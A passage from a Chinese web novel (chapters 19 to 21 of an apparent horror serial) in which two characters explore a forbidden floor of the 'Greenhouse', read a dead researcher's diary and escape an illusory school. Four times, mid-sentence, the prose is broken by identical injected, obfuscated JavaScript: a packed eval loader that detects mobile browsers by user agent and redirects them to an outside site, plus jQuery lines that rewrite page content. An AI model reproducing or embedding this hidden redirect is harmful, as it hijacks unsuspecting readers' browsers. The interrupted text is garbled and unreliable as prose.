连钰架着江汾挪动到墙边,把病床让给李景阳,示意他现在就照做。李景阳无奈,想着一会儿自己是不是得弄伤自己卖个惨。他一点都不觉得自己父亲会在自己犯错后伸-出援手,这几天来他只觉得父亲越来越冰冷诡异。 李景阳绑好自己的双-腿,抬头问:“要不你来绑手……” 砰! 被一拳打晕的李景阳不必纠结怎么捆手了。 连钰收回拳头,无视了江汾欲言又止的表情。 江汾想了想,开口:“你跟小荣挺像的……” 连钰:“嗯……大概是人传人。”别的没学会,小荣的拳脚她可是认真观察过的! 连钰把钢笔还给江汾,后者把笔收好,老老实实跟着连钰走到隔壁把队长放了。 “你们研究员平时在哪几层活动?”连钰回想自己在外看到的温室,方尖塔很高,大概是全城最高的建筑,这说明温室里人不会少。 “8、16、28和29层。” “这么少?”连钰皱眉。这不合常理。像原身居住的训练生公寓,一层都是挤得满满当当的,她还记得自己只有一张小床和一个铁皮柜。温室作为核心建筑,研究员应该是最重要的人员,供科研的区域应该不少才对。 “嗯,这也是我疑惑的地方。”接着,江汾说出自己观察到的异常。 江汾在结束中等教育后就分流至温室成为像李景阳一样的见习人员,小荣则分配去了训练基地。之后他们鲜少见面,一个是因为彼此任务繁重,还有就是因为温室人员管控严格,一旦进入,想再出去一般都需要有任务要求才行。 连钰听到这儿,心里吐槽这岂不是异地恋。 江汾接着说,自己见习一年后就因为表现出色被提拔为正式研究员,之后两年他协助其他人根据外界的污染物成功研制出沙罗草,一种在外界容易存活的植物,作用类似于小麦,可以当作主食。 等等,这听着很熟悉。 连钰不得不打断江汾:“你说的那种草,是不是在梅花落种植最多?” 江汾摇头:“温室研究出的很多成果我都不清楚应用在哪里。在这里,所有人都是听候命令行事,绝不能有一丝违背。就好像,研究员只能在这几个楼层活动,去往别的楼层的人都没有再回到实验室。” 连钰深吸一口气:“那你有多少同事?” “不多。我的小组不过七人而已。” 根据连钰之前在这一层看到的房间数量,一层房间应该是二三十个,如果研究员规模确实小,那么这几层的活动区域也合理。但这个前提就不合理。 江汾:“我也注意到了这里的不寻常,好奇过其它楼层的布置,但是没有尝试过探索。” 连钰和楚明锋给了他一个疑惑的眼神。同时,他们心中也有猜测。或许正是江汾的不问不看不找事,让他在一众人里存在感最低,没有引起城主的注意,得以在温室安全留到现在。一部剧里谁会在意镜头角落没有台词的演员? “凡是表现出好奇的人都没有回来,久而久之,留下的人就会默默遵守规则。” 江汾补充道:“这里的不寻常除了人员规模、楼层限制外,还有一点。像李哲这样的高层,总会在不经意间让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233465|139462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人毛骨悚然。我很难形容,也许是因为一瞬间的动作扭曲,偶尔的言语错乱……最重要的是,在我刚进来时我曾经远远见过李哲。那时候我还很崇拜他。” 江汾苦笑。 “那个时候的他,和李景阳有几分相似,毕竟是父子。可现在第一眼很难看出他们的血缘联系。因为……李哲的瞳孔变了。” 是降临。那个存在是通过个别人掌控温室? 连钰和楚明锋对视一眼后艰难开口:“这类出现身体变化的人,大概率已经不能称之为人了。在他们出现异常的时候,最好不要惊扰他们。” 江汾点头,说自己没有引起他们注意。 “都到这了,不去别的楼层逛逛岂不是白来。”楚明锋按下电梯按钮,等待电梯上行。 连钰:我已经掌握这个梦境的运行秘密,大胆作死小心求证,表演到位暗度陈仓。 “去别的楼层需要什么吗?”连钰注意到来时研究员就是刷卡乘电梯,去别的楼层不知会不会有要求。 江汾摇头:“大概不需要特殊物品。员工卡就好。不然,之前的研究员也不会莫名消失。” 不触碰规则,就不会出事,这是他亲身经历证明的。那么出事的人必然有条件违反规则。 连钰默然。这就是明晃晃地吸引人去查看,也不知道这些人的下场如何…… 事到如今,他们都知道城主大概率是人类认知里没有的高级怪物,与城外怪物截然不同,拥有高智慧和特殊能力。永昼城比起人类末世居所,更像是他的游乐场。 有的人作为燃料,飞速消耗生命后什么都没留下;有的人被圈养,牲畜似的繁衍,为祂提供演员和整座城的养料;还有的人被选进所谓核心区域温室,却依然一无所知,在触碰“红线”后就会消失。 祂一边让永昼城成为人类末世里的向往的港湾,有食物和居所,一边让人类永远没有力量对抗。此消彼长之时,祂坐看人类上演一幕又一幕戏剧。 那么现在,祂想要什么? 连钰一笑。同样的戏剧上演百年,一定让祂疲倦了。 祂是要给人类一个反抗的机会,只不过阴晴不定的祂想看看他们到底有没有能力取悦祂。 “叮——”电梯到了,三人进入后按下了27层。 28层是研究员活动区域,现在就结束他们的出逃太早。去一层也不一定就是通关,根据祂的脾性,不如直接去其它不准进入的楼层。 “27层,到了。” 突然响起的机械女音让三人一愣。 江汾:“这之前从未有电梯播报。” 众人屏息凝神,但电梯里没有出现异常。银色的电梯门缓缓打开,一条幽深黑暗的走廊呈现在眼前。 27层没有灯光,电梯里的光线照映出门口附近的一小块区域。就着这点光,他们都看到这除了黑暗,和29层没有区别,两侧都是房间。 “去看看吗?”楚明锋出声。 如果真的和29层没区别,又怎么会不允许无关人员进入,连研究员都没资格踏入。 “我留在电梯里吧。” 江汾突然开口,迎着两人的目光接着说:“免得出现意外。” 19. 绿日时代(19)黑暗里的寂静 江汾此话一出,连钰两人的动作一顿,空气顿时更加寂静。 突然出现说自己是来帮助他们的研究员在带着他们去往无人的楼层时提出一个人留在后方……听起来确实很不妙,不免让人联想到这是否也是剧本的一环。 江汾看出两人的迟疑,刚想开口,连钰就说:“好。” 他有些惊讶,也有些感动。楚明锋扫了一眼电梯,也点头。 连钰:“我知道有的人为什么去查探其它楼层后就消失了。” 她手指向电梯旁,说:“因为这一层根本没有按钮。” 试想一下,有的人刚进入核心机构温室就被告知一堆禁则,可有些年轻有好奇心的人不会听,来了27层后就再也找不到出口。 又或许有些人一时大意按错了按钮,一下电梯发现楼层不对,回过头却发现电梯门已经合上,熟悉的按钮位置空无一物。 “真阴险。”连钰喃喃道。 她甩甩头,看向江汾:“你在这里等着,我们很快就回。” 江汾点头,右手一直按在开门键上。 连钰和楚明锋迈入黑暗。他们现在身上没有任何设备,只能任由黑暗吞噬他们。好在连钰是视力进化,在这种情况下适应良好,楚明锋…… 连钰瞥了一眼队长,先打开了右侧第一扇门。 “队长,你能看清吗?” “看个大概。” 说完,楚明锋一个踉跄被连钰扶住。 “哈哈,没注意地上有块砖。”楚明锋干笑,蹲下身子想查看是什么东西这么巧绊住他。 东西很轻,还有些毛茸茸? 连钰看着楚明锋拿着的长方体有点疑惑,心想这东西怎么会在这,接过来一看一摸,确定这就是黑板擦。 还是老式的那种,塑料壳子套着绒毛的。 她转身扫视了整个房间。这个房间比楼上的病房要大两倍。刚刚她第一眼看见许多桌子,下意识认为是研究用的实验室。毕竟她对实验室的印象只来自在高中时期的化学课。可是,这块黑板擦让她重新打量了下房间。 这是个教室。 “连钰,这有本书。”楚明锋摸到本书递给她,连钰接过来凭借电梯漫射进房间门口的微光,再加上熟悉的手感,确定这是本高中数学。 “这怎么会有教室……”连钰和楚明锋很快搜完这个房间,发现除了凌乱的桌椅和一些教材,别无他物。 “队长,我之前学习的时候不太认真,”连钰开始一本正经地胡说八道,“咱们的教材长什么样啊?会不会学一些很怪的东西,比如高等数学……” “高等数学那是要进温室的人才会学的吧,”楚明锋有些吓到,“训练生顶多学到中级数学第六期。” 这是什么奇奇怪怪的分类……连钰无语。但她能确定,在永昼城里,教育的划分绝对和她的世界不同。手上这本书很可能是末世前的遗存,仔细一摸,书页都脆了,还散发着老书独有的味道。 “我们去别的房间看看。”连钰说。直觉告诉她,温室这栋建筑与她从前想象的相差太远,也许会泄露那位隐藏在幕后的导演的心声。 两人从房间出来,瞥见江汾还敬业地守在电梯里,有些安心。接下来,他们又开了几个房间,有教室,也有实验室。但在有了看见教材的经验后,连钰仔细观察发现这里的实验室的确与她上学时的一样。 “来到这里的人,总会留下痕迹,”在一片寂静里,连钰不自觉地压低声音,“他们会在哪?” 楚明锋跟在她身后,拍了拍两人落在肩头的灰尘:“也许这一层恰好没人来,也许来了,留在了某个房间死去。” “又或者,他们没有死,是被带走了。”连钰接上。 一切皆有可能。 这次,他们推开的房间和之前的明显不同。房间因为桌椅少了,显得宽敞。几张办公桌整齐拼在中-央,三面墙都是书架。 是办公室。而且这学校条件挺好的。连钰想。 “这里的味道不一样。”楚明锋突然出声。 味道? 连钰抬脚进入房间,环视后直接去办公桌搜索。他们已经搜到了里面的房间,电梯的那点光线都消失了,她拿起一本皮质的书册,摸了下发现可能是教案。 虽然连她都不能在完全黑暗里看清字,但她还是习惯性地拨开纸页,纸张扇动间,她也闻到了一股味道。 而且味道的来源应该就在她脚边,办公桌下方。 “看来之前找不到的研究员,在这里。” 楚明锋拉开椅子,蹲下身子进去摸索。 连钰:这算不算一种舔包……想想还怪不尊重人的。 “有了,他身上也有卡。”楚明锋站起来长舒一口气,指尖夹着一张隐约闪着光点的卡片。除此之外,还拿了死者兜里的微型手电筒。 连钰设想了一下,如果是自己被困在黑暗里,在探索之后发现这里就是个像学校一样的地方,什么秘密都没有,自己一定会想办法出去。这个人就算一开始没发现没有电梯按钮,之后也一定知道了。在出不去的情况下,不是在快渴死前等在电梯旁拍打门,发出声响引人注意,也会找工具试图撬开电梯。怎么样都得尝试。 可是,来时她看到的电梯门完好无损。 “是两年前的款式。”楚明锋摸索了一下,确认了死者大概的死亡时间,最早不会超过两年。 “哒。”楚明锋手指一推,手电筒竟然还能发光,虽然很微弱,但是聊胜于无,对于连钰这样视力开挂的来说用处就更大了。 “不愧是温室出品。”楚明锋嘀咕一句。虽然温室不干人事,但是某些方面这里的研究员用聪明的脑袋瓜子为他们造出了挺多好用的东西。 连钰没顾上听队长说话,直接把手电筒夺过来翻起教案。 翻开后她才发现,放在办公室里的皮质笔记本不是教案,而是……这位研究员的日记。 在这种情况下,或许记日记真的是发泄的唯一方式。 带着这种想法,她继续阅读。 “新历107年5月11日。 我就不该熬夜做实验!坐电梯的时候手滑按错了,门开的时候我还以为是没开灯,想着去把灯开了。谁想到这根本不是28层! 还好我带了微型手电筒,隔壁小组正研究怎么改进,顺手送了我一只样品,让我帮忙想想。 这层竟然不设计电梯按钮,太奇怪了。看摆设像教学场所,太落后,书也不是我们用的。为什么要设计这一层啊?难道以前有人在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233466|139462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这秘密教学?” “新历107年5月12日。 我猜是第二天了,因为我睡了两觉,什么都没得吃,已经饿过头了。我拍了那么久的电梯门,没人搭理我。怎么会没人坐电梯呢?” 连钰又翻了一页,楚明锋拿过手电筒帮她对准笔记本。 只见字迹变得潦草,这位研究员看样子要受不了了。 “不知道现在是什么时候。我觉得这里很不对劲,我必须在我失去理智前记录下这一切。我明明很久没有进食,身体却没有饥饿感,甚至不口渴。 我摸着电梯门,我趴在上面仔细听,就算听不见电梯门运行的声音。这怎么可能呢? 而且,我很害怕。这里太黑了,我带的手电筒不知道能坚持多久,希望隔壁哥们给的是充满电的。 我讨厌这里的霉味,一闻就很久没人来过了。可是我现在好像闻不到了。” 连钰看到这,深吸一口气,吸了满满一-大口霉味和许多其它莫名的味道,或许是房间憋闷住的尸臭,味道直让她头发晕,她才停了这种作死行为。 楚明锋思索后开口:“人在黑暗里待久了可能出现幻觉。在这里相当于失去视觉和听觉,人类凭借五感得以感知世界,失去了一部分会让人难以有实在的存在感。” 连钰记得自己似乎也听说过这种说法,同意他的观点。 他们继续阅读: “我要疯了。为什么我不会痛,我不饿,也不渴,但是我要溺死了。没人救我。 没人救我没人救我没人救我没人救我。” 之后有几页纸空白,边缘有撕碎的痕迹。 “我是永昼城居民马平原,我从小就喜欢数学,17岁选为温室预备役。这里很古怪,但是我习惯孤独,隔绝的环境让给我很自在。我会成为高级研究员。我一定能实现梦想。” 马研究员的字迹稍微工整了些,让连钰读起来快很多。能看出来,他在努力让自己冷静下来。 手电筒的光已经微不可察,如萤火虫般只能照亮一个指甲盖大的地方。 没时间了。连钰快速翻页找到有字迹的开始阅读。 “我很清醒,我知道我会疯,会死。我不饿,但是我会死。我出不去,我想和人说说话。” 又翻一页。 “我知道了!我不能写日记!可是我真的很需要转移注意力。可是我不能写,再写我就完了。” 连钰看到这不由皱眉。 为什么不能写?笔记本和笔应当都是他从外面带来的,不是这里的物品。问题出在哪?还是说这只是他要疯的前奏。 手电筒闪了一下,终于熄灭。职业生涯两年的它宣告退役。 连钰叹气:“不知道江汾有没有带可以照明的设备。” “没有,他每次浑身上下就插朵花、别支笔,其余东西都让李景阳带着。” 队长,你是不是早就想打劫他啊。连钰无语,但她转念一想又觉得奇怪。 “江汾没有腕表之类的设备吗?” “没有,温室里大概对这类设备控制严格。” 说完,两人同时一愣。 如果江汾身为研究员不能佩戴腕表之类的通讯设备,那他是如何和小荣沟通,受她所托帮助他们? 20. 绿日时代(20)被支配的恐惧 过了半晌,连钰说:“也许是我们没有注意到,或者他工作时不能佩戴。”但这也不能解释为什么这么多年温室的古怪之处没有被外界知晓。只有管控住温室人员,才能保证秘密不被发现。 楚明锋沉吟道:“又或者,温室管控人员自有其它方法。” 连钰福至心灵:“我们可能找错了方向。通讯器等设备可能有管制,但没那么严格,就像对于其它楼层的禁令,说是不准进入,其实只要敢于作死就可以。” 按下按钮而已,没什么难的。只是好奇心重的人都会像马平原一样出不去。 他们在沉默中达成一致。 幕后的存在对于一切都是乐见其成,甚至巴不得他们多上演好戏。就算温室的人试图透露异常又如何,也许有的人已经暗中被控制,就像之前负责连钰的琥珀色眼睛研究员;又或者,有的人试图逃离,但最终悄然消失。 连钰对于扮演好自己的角色又多了层领悟。循规蹈矩能保命,大胆作死或许有所得,只是付出的代价不同。 她收好手电筒,虽然没电了,但谁知道道具什么时候能再次派上用场。有可能是刚刚借着光源看了周遭,她觉得自己好像更适应这里的绝对黑暗了,看得更清晰。 楚明锋给桌子下的尸体理好衣服后起身,说:“走吧,还有其它楼层要看。” 连钰沉默跟上。 就在他们打开办公室门的瞬间,似乎有一束光打进了走廊。他们以为是电梯里的同伴制造的光线。 啪嗒、啪嗒。 脚步声在走廊回响。 连钰皱眉,江汾不是说等在电梯吗,出来的话他们怎么再次乘坐电梯回去。 她推了推站前面的楚明锋,示意让他赶紧去阻止江汾。 “不对,”楚明锋呼吸一窒,“脚步声,是从里面传来的。” 连钰推楚明锋的手一顿,她也听见了,脚步声越来越近,而且,绝对不是江汾的。 脚步声很轻快,像是跳下来后又用前脚掌擦地面。一下一下,朝着他们的方向来。 楚明锋问:“出去吗?” 连钰:“去。”不管来的是什么,她都握好拳头准备一拳塞死。 门擦过地面,他们迈出脚步。刹那间,那束光大亮,膨胀到淹没整个走廊,他们不得不闭上眼睛,抑制住要流泪的冲动。 片刻后,眼皮映出晚霞般的色彩,连钰感到一阵温暖。可是,这不可能。 她睁开一条缝,看见了飘起的蓝色绒布窗帘,其后是半开的玻璃窗。她站在一张课桌后,绿色黑板上写满了解题过程。在她怔愣之时,一颗粉笔头飞了过来,正中眉心。 “到后面站着去!叫你回答问题,不是叫你站着发呆!” 连钰再稍微转动视线,看见了黑板旁的女人。女人穿着宽松的T恤,右手积满了白色粉尘,头发扎成马尾但在头顶炸出些细碎的毛发,显得发质干枯。 “是,老师。”连钰木然地转身。 “拿着你的书!”老师气呼呼地补充一句,就差没下来逮着她走。 “好。” 连钰抱着书往后走,随着她的走动,教室里的人越来越多。一排一排,占满了空间。有的学生看热闹,有的学生目光包含同情,还有人事不关己一脸无所谓。 好熟悉的场景。如果不是她还记得自己正在温室探索,她可能会条件反射地解题。 还是第一次被罚站,她想。挺新奇的。 教室后墙已经站了一位男生,男生把数学书盖在脸上,一条腿支着,另一条腿点地。 连钰:真拽啊哥们,这不得把老师气死。 不过看老师那副无视他的样子,估计这是个惯犯+刺头,老师都懒得多管,罚站了事。 连钰的位置靠窗,只能走到这条过道的后方,和男生挤一挤。 等到她停在男生面前,男生的声音从书本下传来,嗡嗡的带点沉闷。 “好学生也来了啊。” 连钰不想接话,她暂时还没弄懂这是怎么回事。她为什么会在踏出门的那刻来到了新的空间。 她在男生旁捧着书站好,低头翻阅手上的教材。书很新,纸张洁白但带着霉味。 这肯定没怎么翻过书,不然纸边会变暗。 男生左手插兜,胳膊肘碰了她一下。连钰没动,她需要观察出这个“幻境”是怎么回事。 男生的左手又抬了起来挠头,胳膊肘蹭到了她。 连钰:好烦啊,没礼貌。 但是懒得理他。 “你还真好学。”一道低低的男声清晰地传进她的耳朵,男生应当是拿下了书本。可让连钰睁大眼睛的不是这个,而是他说话的音色。 她猛地转头,看见了熟悉的蓝眸。 队长见她终于肯回头看自己,眼睛弯成一道月牙儿。 “嘘——”他用书挡脸,食指搭在嘴唇上,“别被发现我们认识,我怀疑这是祂制造的幻境。我们得先找到出口。” 连钰点头,她也这么想。 “楚明锋!”老师中气十足地怒吼让楚队抖了一下,“站到外面去!” “好~”楚明锋心有余悸地放下书本,还好他刚刚举着书,没被粉笔砸。 他走过过道,一阵风恰好从连钰座位旁的窗户吹进教室,带动他的衣摆飘扬。连钰顺着看过去,蓝色窗帘还在时而摆动。 如果他们还在原来的空间,这里怎么会有风。之前她走过的房间都没有窗户,包括他们之前所在的28层也是。不过,温室从外表看应当是有窗的。 疑点真是越来越多。 连钰收回目光,老老实实扮演起乖乖罚站的学生。好不容易下课了,老师把他俩都叫到办公室谈话。 连钰:又是新奇的体验呢。 “你们俩在教室后头嘀咕什么呢?也跟我说说。”老师重重地坐到椅子上,放下教材摘了眼镜揉鼻梁。连钰看见她眼尾的皱纹,有些触动,一时没吭声。 楚明锋见状开口:“没聊什么,就是问了同学问题。老师你也知道,我数学不好。” 老师诧异地抬头:“现在知道学了?行,那你今天放学让连钰给你补补。” 连钰:? 楚明锋:“好哦(*^_^*)” 夕阳西下,两人坐座位上对着教材大眼瞪小眼。连钰关了窗户,她总觉得这扇通往外界的开口不一定安全,所以教室内一时无风,甚至有些憋闷。 他们本想趁课间探索,谁知道老师一句话后他们再出门就回到了教室。他们猜测,这里的时间线是跳跃的,他们的活动受到其他角色制约,不能随心所欲活动。 楚明锋:“你会吗?” 连钰:“会。” 楚明锋肃然起敬。 他指着的是老师留下的作业,老师顺带还把她孩子的题目给了他们,她说连钰成绩好,帮她看一下孩子作业,她过会把人送来。 当时楚明锋还以为这是幻境里的人设,没想到这小子是真好学生。 “那个,请问你们就是我妈妈说的姐姐和哥哥吗?”一个戴着眼镜、皮肤白皙的男孩在门口,个子不高,有些腼腆,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233467|139462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们一看过去,男孩就低下了头。 “是哦,过来吧。”连钰伸手招呼。也许这个男孩是突破口。 男孩乖巧地挨着连钰坐下,看来他-妈已经告诉哪个是教他的小老师。 连钰翻开他的作业,真的开始讲题,楚明锋一开始试图跟着听,过了一会儿就开始两眼游离。不是接受不了知识,实在是他抗拒知识。 连钰一番讲解后,天空更暗了,橘红色里掺杂了紫色。男孩收拾好了书包要走,连钰一把拉住他。 “弟弟,你叫什么名字?以后有问题可以……”有问题都可以找我。 连钰刚想说,感觉这句话太像承诺,咽了回去。 “可以让妈妈找同学给你讲解。”这个同学就不一定是她了。 “好啊姐姐,我以后可以来找你吗?”男孩给了一个羞涩的笑容,说的话却让连钰觉得有些古怪。 也许是她想多了,还是男孩真的要她说出“承诺”一般的话语。 “看姐姐有没有空吧。” 男孩低下头:“好吧。姐姐,我叫马平原,别忘了我。”说完奇怪的话后他转头拽着书包就跑,留下连钰愣在原地。 “马平原,是那个研究员的名字。”她喃喃道。两个人都叫马平原,不可能是巧合。他是这个幻境里第一个出现的有名字的角色。 楚明锋:“他留在幻境了。” 连钰仔细回忆马平原说的话,犹疑地开口:“他先要我答应以后都给他解答问题,接着和我说他的名字,最后要我不要忘记他。” 她感觉马平原在暗示她。“他也在……扮演吗?而且,是有意识的。” 或许连钰答应了,就得留在这里。可马平原最后说的话,说明他察觉两人的戒备,知道自己没法做到留下他们,所以说了类似告别的话。 “看来我们需要注意不能在这里随意承诺。”楚明锋同意连钰的猜测。 可是到现在他们还没有找到出去的方法。幻境之所以是幻境,就一定有地方是假的。可他们没找出。 连钰看向教室门。这里的地图太小,她要出去查看。 走出门后,连钰察觉到了变化。 走廊外的风景变了。 之前他们跟着老师走到办公室时,走廊另一侧是空的,朝外望能看见对面的教学楼。可现在,对面那栋楼不见了,取而代之的是操场。 这是什么用意? 他们朝走廊尽头走去。从出来的那间教室开始,随着走动,身侧的教室都有所不同。他们出来的一班空无一人,二班里有个男生在不停地翻书,眼神却停留在身前一米处。不过连钰觉得这不是他故意假装学习,毕竟他的脑壳都裂了,眼球被挤得半掉不掉;三班里的女生静静坐在教室中间的位置,面朝黑板微笑,可惜朝的是后面的黑板报,因为脑袋旋转了180度;四班里的女生在擦玻璃,看见他们来了,眼神都没有给一个,可能是因为心神都在打扫卫生上了,胳膊扭曲着不太好擦。 这么看来,只有他们待的一班,人物没有奇形怪状。 直到走廊尽头,他们看完了各有古怪的教室,也发现尽头没有楼梯,只有一堵墙死死地堵住去路。 楚明锋无奈:“这是把我们困在这一层了。” 连钰觉得有些好笑,难不成他们要离开,只能跳楼? 她再次看向外面,数起云朵,放空脑袋。她需要好好思考。 她回忆着进来后观察到的东西,发现了不对劲。 “队长……你有没有觉得,其它班级里的人其实都是一样的。” 21. 绿日时代(21)黑暗里的依靠 楚明锋走到连钰身边一起看云,静静听她分析。 连钰自顾自地说:“每个班级都有肢体扭曲的学生,可他们不管是男是女,在做什么事情,都不重要。他们的表征都有共同之处——” “他们都像是高空坠-落导致的扭曲。” 连钰往下望去,他们这一层能看清操场,但诡异的是,她没法确定自己在第几层。操场好像离得很近,又离得很远。每当她想要细数楼层,都会出现晕眩。 楚明锋轻轻盖住她的眼睛,连钰听见他的声音在头顶响起。 “不要再看了。你的能力也没法做到。”再看,也许她也会掉下去。 楚明锋的手掌让连钰眼前一片漆黑,她就着黑暗让自己沉静下来,继续听他说。 “看起来,这里唯一的出口就是楼外。从前的人在受不了后可能选择孤注一掷,直接从打开的窗户或者走廊跳下去。于是变成了班级里学生的模样。” 连钰边思索边说:“真正的出口在我们看不见的地方。” 她睁开眼,眼睫毛扫过楚明锋的手心,有点痒。 连钰没发现队长的僵硬,说:“队长,我们再回忆一下,是如何触发幻境的。”直觉告诉她,他们同时进入幻境一定是因为他们都做了什么。可是,他们行动都在一起,实在有点难分辨。 “我们摸黑搜索了几个房间,发现这一层的布置像是学校。最后来到了办公室,在这里找到了日记本和研究员的尸体。”那个研究员在幻境里想给他们挖坑,但最后就像是挣脱了剧本的角色,希望他们记住自己。 出口隐藏起来了……研究员说他不该写日记,写日记这个行为会怎么样…… 连钰脑海里几条线索绕在一起,她想象自己是马平原,在一片黑暗里打开手电筒记录自己快要发疯的心理状态。 “是光!” 连钰抓住楚明锋覆在眼睫上的手掌,说:“队长,一会儿你要确保牢牢地捂住我的眼睛。” 楚明锋也有所猜测,听到她说的,顺从地两只手捂着她眼睛。两人转身走向走廊尽头。楚明锋瞥了一眼天空,无声地笑了。他知道,她猜对了。 来到这里的人,都害怕黑暗。对于他们来说,黑暗比一跃而下还要可怕。 他们来之前一直用手电筒查看日记,马平原在触发幻觉前也在断断续续使用手电筒写日记。在黑暗里多出来了一束光后,他们来到这个幻境。一切都始于光。 真是狡猾啊,连钰想,所有人都害怕黑暗,殊不知黑暗提供保护,光源才是陷阱。 连钰一步一步走向记忆里的墙壁,在黑暗中,她听见耳畔传来熟悉的声音。 “连钰,快让开!”是队长的声音。 “连钰,爸爸回来了,要打招呼。”是很久没再见的妈妈。 “连钰……” 无数人的声音在她耳畔回响,她有一瞬间的迟疑,可是她知道,有些人可能再也不会见到,有些人不会在这个时候说这些话。 她深吸一口气,毅然决然走向记忆里墙壁的位置。 楚明锋看向自己空了的掌心,闭上了眼。 …… 他再次睁开眼时,眼前一片白光,那瞬间他以为自己还在幻境。好在,看清后他发现自己不知不觉走到了电梯前。江汾和连钰正在里面等他。 江汾舒了一口气,说:“我刚刚看你们一直在走廊徘徊,喊你们也听不见。还好,都回来了。” 他走进电梯,连钰问:“队长,你是不是在走出幻境的时候也听见什么了?” 他说:“嗯。”但是没有继续。连钰识趣地没有追问。 楚明锋低垂着眼眸,强迫性地想起刚才听见的呓语。 “队长,前方污染源太强,别去!”这是他自己的声音。 “队长,我们是不是要死在这里了?” 队长、队长…… 楚明锋没有告诉别人,也无法坦白——他是梦境世界的老牌任务者,年少无知时被留声机忽悠签订契约,从此留在梦境世界。按照契约,有一日他可以自由选择想去的世界,可是他已经累了。 在从前的每个梦境里,他的身边都会有队长或组长这一角色,他是被保护的那个。但他要看着朝夕相处的同伴在他面前死去,无一例外。他不知道对方是不是也是留声机派来的任务者,会不会和他一样完成任务后身死不算真正的死亡。 但他的确感到精疲力尽。这一次,留声机告诉他,只要他完成最后一个系列任务,留声机就会兑现诺言。可他不会再敬业地演戏了,他要做个蹩脚的演员,让他的任务对象得以逃脱。 等他回过神来,电梯门开启。他看着熟悉的走廊,向连钰投去疑问的目光。 连钰:“是我按的28层,我有一个大胆的猜想。” 出来后她想过了。27层的不同不仅在于布置和功能的不同,更在于无处不在的荒诞感。 祂利用人们对黑暗的恐惧,让人永远被困。这种戏耍的态度让她怀疑整栋温室都是祂的游乐场…… 包括研究员和猎人能去的楼层。 前几日他们在这的表演,不就是为了合祂心意吗? 既然如此,她在28层发现的所谓隐藏的门,也极有可能是障眼法。 连钰走到之前找到的隐藏门,伸手触碰大概是门把手的位置,光点再次亮起。可除此之外,什么都没发生。 连钰想过,如果这里真的有门,那么总该需要密码或者指纹之类的解锁,毕竟这扇门不可能用真的钥匙开。 她让江汾试试,江汾的手搭上去,却什么反应都没有,甚至光点都不再亮起。 她缓缓吐-出一口气:“研究员触碰没有反应,猎人却可以。温室里的人员无非是这两种,在只有这两类人可以进入的28层,这扇门只对猎人有反应……” 简直就是赤-裸裸的戏耍。这可能根本就仅仅是一个光点而已。 除非……她想,除非她抓住一个已经被证实是祂降临的容器的人,看一看这个光点对那个人有没有反应。这下,应该就能完全排除其它可能。 “叮——” 电梯又响了。 三个人面面相觑。这是他们占用太久被发现了吧? 连钰一想到,其他人想上来查看却发现电梯一直不动,急得不行却没办法,她就想笑。谁让城主大人设计有问题。这货根本就没考虑过人体工学之类的吧…… 连钰和楚明锋交换了一个眼神。 连钰:逮吗? 楚明锋:逮! 电梯里的人出来很快朝着他们的病房走去。连钰拍拍江汾的肩膀,让他待在原地不动。楚明锋一个转身冲-刺,在白大褂回头之时直接将人扑倒。 “你们竟敢……”该说不说,连钰念谁谁来。被楚明锋摁在地板上的正是讨人厌的李哲。 “少废话,再啰嗦把你揍得比你儿子还惨。” 李哲一噎,大概是想到了他那不争气的儿子,一时无言。 他被楚明锋连拖带拽扯到了江汾那。李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233468|139462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哲看见江汾身为高级研究员竟然和要严加看管的猎人混在一起,一时间愤怒无比,然而不等他有所行动,他就被人按在了墙壁上。 身后的人抓着他的右手比划,他搞不懂这两个人要干什么,有种被愚弄的感觉。 “你们到底要做什么?还有你,江汾,你在温室这么久,怎么会帮他们?” “闭嘴,”连钰抓着李哲的头往墙壁一撞,白色的墙染上红色,“血也没用吗?” 她嫌恶地沾了些涂在刚刚看见光点的位置,可别说开门了,连光点都没有。 